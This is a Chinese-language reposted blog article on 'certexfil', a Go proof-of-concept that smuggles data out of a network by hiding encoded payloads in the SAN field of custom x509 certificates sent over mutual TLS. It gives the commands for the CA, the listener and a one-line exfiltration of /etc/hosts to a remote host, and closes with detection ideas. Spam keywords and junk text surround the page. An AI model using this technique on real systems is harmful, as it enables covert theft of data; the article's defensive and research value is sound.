91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何利用x509數字證書實現數據滲透

發布時間:2021-11-01 17:38:22 來源:億速云 閱讀:143 作者:小新 欄目:編程語言

這篇文章主要介紹如何利用x509數字證書實現數據滲透,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!

數據泄露可能是內部人員和黑客的主要目標。因此,你就需要思考如何發送這些數據。

我發現大多數公司對這方面的問題幾乎沒有什么防護措施(例如,中間人代理和TLS攔截),檢測通常也少的可憐......但有時,這可能是一個挑戰。

對于工作和業余愛好,我圍繞數據混淆和隱蔽通道編寫了大量的工具,并總是在為構建更好的安全檢測和改善響應時間做努力。 

本文我們將討論如何將數據嵌入到自定義SSL證書中,并通過mTLS針對一個遠程偵聽服務來使用它。

這是作為POC而寫的,也是我在Go中的編寫第一個程序。

從 TLS 到 mTLS?

TLS(安全傳輸層協議)是一種加密協議,用于在客戶端和服務器之間提供通信安全性。為此,證書頒發機構(“CA”)會為服務器頒發一個簽名證書,以向客戶端證明其身份。該客戶端可以檢查證書,并查看簽名的CA是否真正受信任。

雖然TLS主要是對服務器進行身份驗證,但Mutual TLS添加了客戶端的身份驗證,該身份驗證將由受信任的CA提供簽名證書。

x509 證書濫用

X509證書可以使用主題別名或SAN進行擴展。

如何利用x509數字證書實現數據滲透

這意味著我們可以在證書創建期間添加字面量(literal)值,這些值可以是從電子郵件,IP到DNS名稱的任何內容。

同樣,可以在此SAN中添加任何內容,這里并沒有真正的驗證,只需使用DNS: (.*)的格式即可。

那么,我們是否可以在這個位置隱藏一段我們的payload代碼呢?即 DNS: base64(content)。

如何利用x509數字證書實現數據滲透

Certexfil

它有三種模式:

使用 — ca創建客戶端和偵聽端都使用的CA架構;

使用 — listen,啟動一個mTLS偵聽器(你需要來自 — ca的CA文件)

使用 — payload和 — host,將payload(文件,stdout)注入自定義客戶端證書,然后立即用它連接到偵聽服務。

代碼可以在這里找到:https://github.com/sourcefrenchy/certexfil

Certexfil 加密 payload

我使用了一個簡單的編碼模塊對payload進行了base64編碼,但在這個階段似乎沒有什么用。顯然,我需要在某一點上做些加密,或者我應該將它重命名為encodepayload :)。為此,我在go中創建了一個用于加密payload的模塊cryptopayload。

代碼可以在這里找到:https://github.com/sourcefrenchy/cryptopayload

用法

創建CA/服務器證書

這將創建包含用于mTLS的server_cert.pem和server_key.pem證書的./CERTS目錄(客戶端和偵聽模式將使用這些目錄:

somewhere$ certexfil -ca -ecdsa-curve P521 -host remote.server.com

現在,請確保你的遠程服務器上有certexfil二進制文件和創建的./CERTS目錄。然后,啟動偵聽(默認為:所有接口,tcp/8443)

remoteserver$ ./certexfil -listen

客戶端/受妥協主機發送 payload

在本例中,我們嘗試通過生成自定義證書并建立與遠程偵聽器的mTLS連接,來對我們的“/etc/hosts”文件進行數據泄露,所有這些操作只需下面這一行命令:

06:52:14 jma@wintermute Go-Workspace → certexfil --host remote.server.com --payload /etc/hosts
2019/05/31 18:52:23 [*] Reading from file..
2019/05/31 18:52:24 [D] Payload (raw)  --> 127.0.0.1	...(225 bytes)
2019/05/31 18:52:24 [D] Payload (Prepare()) --> ?...		(173 bytes)
2019/05/31 18:52:24 [*] Generated custom cert with payload
Oo

我們可以在本地檢查創建的新證書(client_cert.pem)和SAN區域中添加的payload(base64)。讓我們使用openssl再檢查一遍:

$ openssl x509 -in ./CERTS/client_cert.pem -text -noout 
 grep -A 5 "Subject Alternative Name"
            X509v3 Subject Alternative Name: 
                DNS:x.io.net, DNS:
H4sIAAAAAAAC/0TNMa7DIAwG4DmcwtKbH4IMqcQNunXoBQgxDaoDCJOmx69o08abP1v/r/uTVFJJ3VFylubEVXxMS91tIVYsy1pRiD+4zgg+EaUtxBtQiMhgC8KEHIodqV0LnC+PAZzNb2h6LIzR0Cbk4f9Xs28pj9bdhUeljFHHS8QqvD9wcZZrLujDs3nfMptbopgm5B37L5a0ViwsXgEAAP//pJPCNuEAAAA=    Signature Algorithm: ecdsa-with-SHA512
         30:81:88:02:42:01:aa:73:a9:af:03:4f:21:16:dd:62:4a:af:
         59:6b:89:f5:a6:6d:e6:f1:21:40:ff:c8:32:f7:99:4f:d9:c8:
         7f:b3:ac:43:1f:71:09:86:f4:be:7b:af:93:31:e2:fb:ec:e8:

檢索偵聽端上的 payload

驗證客戶端連接提供的證書后,我們可以檢索payload,從base64解碼并顯示它:

○ → ./certexfil --listen
2019/05/31 22:51:01 [*] Starting listener..
2019/05/31 22:52:24 [*] Payload received: H4sIAAAAAAAC/0TNMa7DIAwG4DmcwtKbH4IMqcQNunXoBQgxDaoDCJOmx69o08abP1v/r/uTVFJJ3VFylubEVXxMS91tIVYsy1pRiD+4zgg+EaUtxBtQiMhgC8KEHIodqV0LnC+PAZzNb2h6LIzR0Cbk4f9Xs28pj9bdhUeljFHHS8QqvD9wcZZrLujDs3nfMptbopgm5B37L5a0ViwsXgEAAP//pJPCNuEAAAA=
2019/05/31 22:52:24 [*] Payload decoded: 127.0.0.1	localhost
127.0.1.1	wintermute
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

限制

tls:的握手消息長度為1399109字節,已超過了最大值65536字節。

OpenSSL不允許大小超過65536字節的證書

TODO:將大型payload拆分為多個證書和/或重新編譯OpenSSL

緩解措施

假設你已截獲并分析SSL流量的一些想法:)

檢測新創建的TLS證書

檢測大型TLS證書或檢查SAN以獲取有效的DNS條目(例如,你可以使用某些BroIDS腳本)

正確配置Man-in-the-Middle代理/防火墻攔截TLS流量

以上是“如何利用x509數字證書實現數據滲透”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

调兵山市| 滦平县| 枞阳县| 邓州市| 前郭尔| 西充县| 高陵县| 教育| 利津县| 集安市| 桂林市| 常州市| 邹平县| 麦盖提县| 平舆县| 孙吴县| 桂林市| 革吉县| 中江县| 舞钢市| 丰都县| 郓城县| 塔河县| 铜山县| 曲阜市| 南昌市| 大庆市| 西城区| 犍为县| 罗江县| 溧水县| 灯塔市| 海淀区| 紫阳县| 孟村| 兴业县| 双江| 马关县| 沧州市| 同江市| 霸州市|